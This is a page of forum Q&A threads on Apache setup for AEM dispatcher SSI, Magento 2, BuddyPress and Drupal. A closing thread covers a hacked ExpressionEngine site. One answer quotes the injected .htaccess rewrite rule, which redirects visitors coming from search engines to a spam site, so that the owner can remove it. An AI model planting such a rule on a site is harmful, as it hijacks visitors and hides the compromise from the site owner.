I was looking over the blog here to understand the concept of SDI+Dispatcher. I enable SSI on apache via using this post & seems it working. But didn't get any material which can demonstrate this concept practically. I am using the same geomatrixx page to where some user logged in and gets cache. How can i store the only static part on the dispatcher cache and how the dynamic component will render at run time. I made changes to my apache conf file as below but now looking over further steps. In blog its also mention to add <!--#include virtual="/includes/header.html" --> so where so i need to add this under body.jsp of page component or somewhere on apache server.
LoadModule dispatcher_module /usr/lib/apache2/modules/dispatcher-apache2.4-4.1.8.so
<IfModule disp_apache2.c>
<!-- Configurations -->
</IfModule>
SetOutputFilter INCLUDES
<Directory />
<IfModule disp_apache2.c>
SetHandler dispatcher-handler
ModMimeUsePathInfo On
</IfModule>
Options FollowSymLinks Includes
AllowOverride None
</Directory>
AND
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews Includes
AllowOverride None
Require all granted
</Directory>
Thanks
Sling Dynamic Include automatically replaces components enumerated in the OSGi configuration with the SSI include tag (<!--#include...), so you don't have to write this tag in any JSP.
Open the Apache Felix console, go to the OSGi / Configuration tab and create a new SDI Configuration entry. More information on the configuration properties can be found on the Github. Enter resource types of the components and from this moment (assuming that the dispatcher configuration is OK) they will be replaced with SSI include tags and - as a result - served dynamically even if the whole page is cached.
Aforementioned Github repository contains the most up-to-date documentation of the module.
Related
I've recently performed a Magento security scan and it recommended I move the root of my Magento 2 installation to the pub directory.
I've followed the instructions here but I've had no success. The site fails to find the images and merged CSS files. I have double checked that the CSS files and images exist in their respective directories in pub/static.
My Apache configuration:
DocumentRoot /var/www/html/magento2/pub
ServerName www.somedomainorother.co.uk
ServerAlias somedomainorother.co.uk
<Directory "/var/www/html/magento2/">
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
Allow from all
</Directory>
I am using Apache 2.4, Centos 7.3.
Has anybody run across a problem like this before and how did you fix it?
I had exactly the same issue and the root cause I found that Magento was still looking for the static resources under [site_url]/pub/static or (if static versioning is enabled):
[site_url]/version[NNNNNN]/pub/static
While they should have been requested according to the new root
[site_url]/version[NNNNNN]/static
I had to check the static and media urls, in core_config_data I found [site_url]/pub/media and [site_url]/pub/static as values for base_media_url, base_static_url for secure and unsecure. I simply removed these config records from core_config_data and left the application to retrieve them correctly by default.
I assume you have tried the usual trick of:
php bin/magento setup:static-content:deploy
You may need to add an '-f' after depending on which mode you are in. Also, if you are using a language different to 'en_US' then you woul dneed to add that at the end. I have to do this:
php bin/magento setup:static-content:deploy -f en_GB
This has helped me get out of those CSS and image screw ups.
Otherwise I would look at maybe it being a permissions issue?
After migrating the magento 2 project from localhost to live server, th frontend works fine but cannot open backend(AdminPanel) of magento.
Please Help,
Thanx in advc
Please change Allowoverride none to Allowoverride All in httpd.conf file of your live server.
Enable mod_rewrite on Apache
Clear magento cache
Check URL entries in core_config_data table(for magento2.1)
I have installed the latest version of BuddyPress on a WP.
However, the Activity, Members, Groups, and Blogs tabs all show "Page not found" errors. or show me just a title.
Thanks for any help you can provide.
screenshot: http://oi43.tinypic.com/14cw45v.jpg
link here
I had a similar issue just now. All of my buddypress pages (register, activate, members, etc.) were giving me a 404 error. I now have all the pages displaying correctly.
EXPERIENCE
I'm using an amazon EC2 instance, with apache2. My buddypress was version 2.2.1 on wordpress 4.1.1.
My first guess was that the URL wasn't rewriting correctly, so I tried all of the options in settings > permalinks.
Each time I reloaded the page I was trying to access and confirmed that my .htaccess file was being rewritten accordingly.
(.htaccess is in the base directory of your wordpress installation. If it isn't being rewritten by saving wordpress' permalinks options, try chmod-ing the permissions: http://codex.wordpress.org/Changing_File_Permissions).
SOLUTION
I found a solution through the permalinks page of the wordpress codex:
http://codex.wordpress.org/Using_Permalinks
There is an option is a file called httpd.conf on my system that disabled the rewrite module in my .htaccess file. (On a linux system this should be in /etc/httpd/conf. On OSX it should be in /etc/apache2.)
By changing my webserver directory AllowOverride option from None to All, the .htaccess file was able to function properly. Again, I found a line in the section of my httpd.conf file that read:
AllowOverride None
and changed it to:
AllowOverride All
Hope this helps.
Try going to settings/permalinks, and just save them again. Often this resolved 'page not found' errors.
I am having a complicated issue, which I can't figure out. There is a solution to this matter by modifying the 000-default file in /etc/apache2/sites-enabled.
The AllOverride line must be left with the following keyword None.
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
Is there any other way to enable clean URLs on a Debian server for Drupal 7?
Open your .htaccess file in your project root.
Uncomment RewriteBase /drupal and change it to your project name like RewriteBase /myprojectname .
Comment RewriteBase /
Goto /admin/config/search/clean-urls
There will be an option to Enable clean URLs .
I have an Expression Engine website of I try to clean up. The database has been given many new users so it seems the database has been hacked / links added. One mayor issue is that the site when clicked in Google is being bypassed. All visitors are being redirected to another website. Here is the search : http://tinyurl.com/72nzutj . First site is the one in question.. The site they are redirected to is http://sweepstakesandcontestsinfo.com/nl-in.php?nnn=555
I have been trying to find this redirect in all files and the database, but I have had no luck. It is not a .htaccess redirect, that I have checked and confirmed. But I have not been able to locate a JScript or PHP redirect in the files nor database as of yet.. Probably well hidden because of a base64 or packed encryption. Ideas?
NB no clean database version available
The redirects are happening from a compromise to your site's .htaccess file, and are only affecting clickthrus from popular search engines. Accessing the site directly has no effect, and helps keep the malware from being detected.
Look for the following code in your site's directory and remove it:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
RewriteRule .* http://sweepstakesandcontestsinfo.com/nl-in.php?nnn=555 [R,L]
</IfModule>
You may need to view "hidden files" in your FTP client or use ls -al from the command line to view your .htaccess file.
After you've got the problem fixed, you'll want to make sure you're running the most recent version of ExpressionEngine (EE 1.7.1 or EE 2.3.1 as of this writing), as well as any third-party Add-Ons.
Auditing your server's access_logs may help identify the vulnerability that led to the compromise, and looking at the modification timestamp on the files in your website directory.
A variant of this attack has already affected many WordPress installations, whereby a tiny base64_encoded JavaScript snippet was added just before the closing </body> tag, which lead to visitors being served a malware-infected Adobe Flash Player download.
Ask your web host. It seems that incoming visitors with a referrer other than the site are redirected but pasting your website (no referrer) directly into the location bar works.
This question is better off at ServerFault or ITSecurity.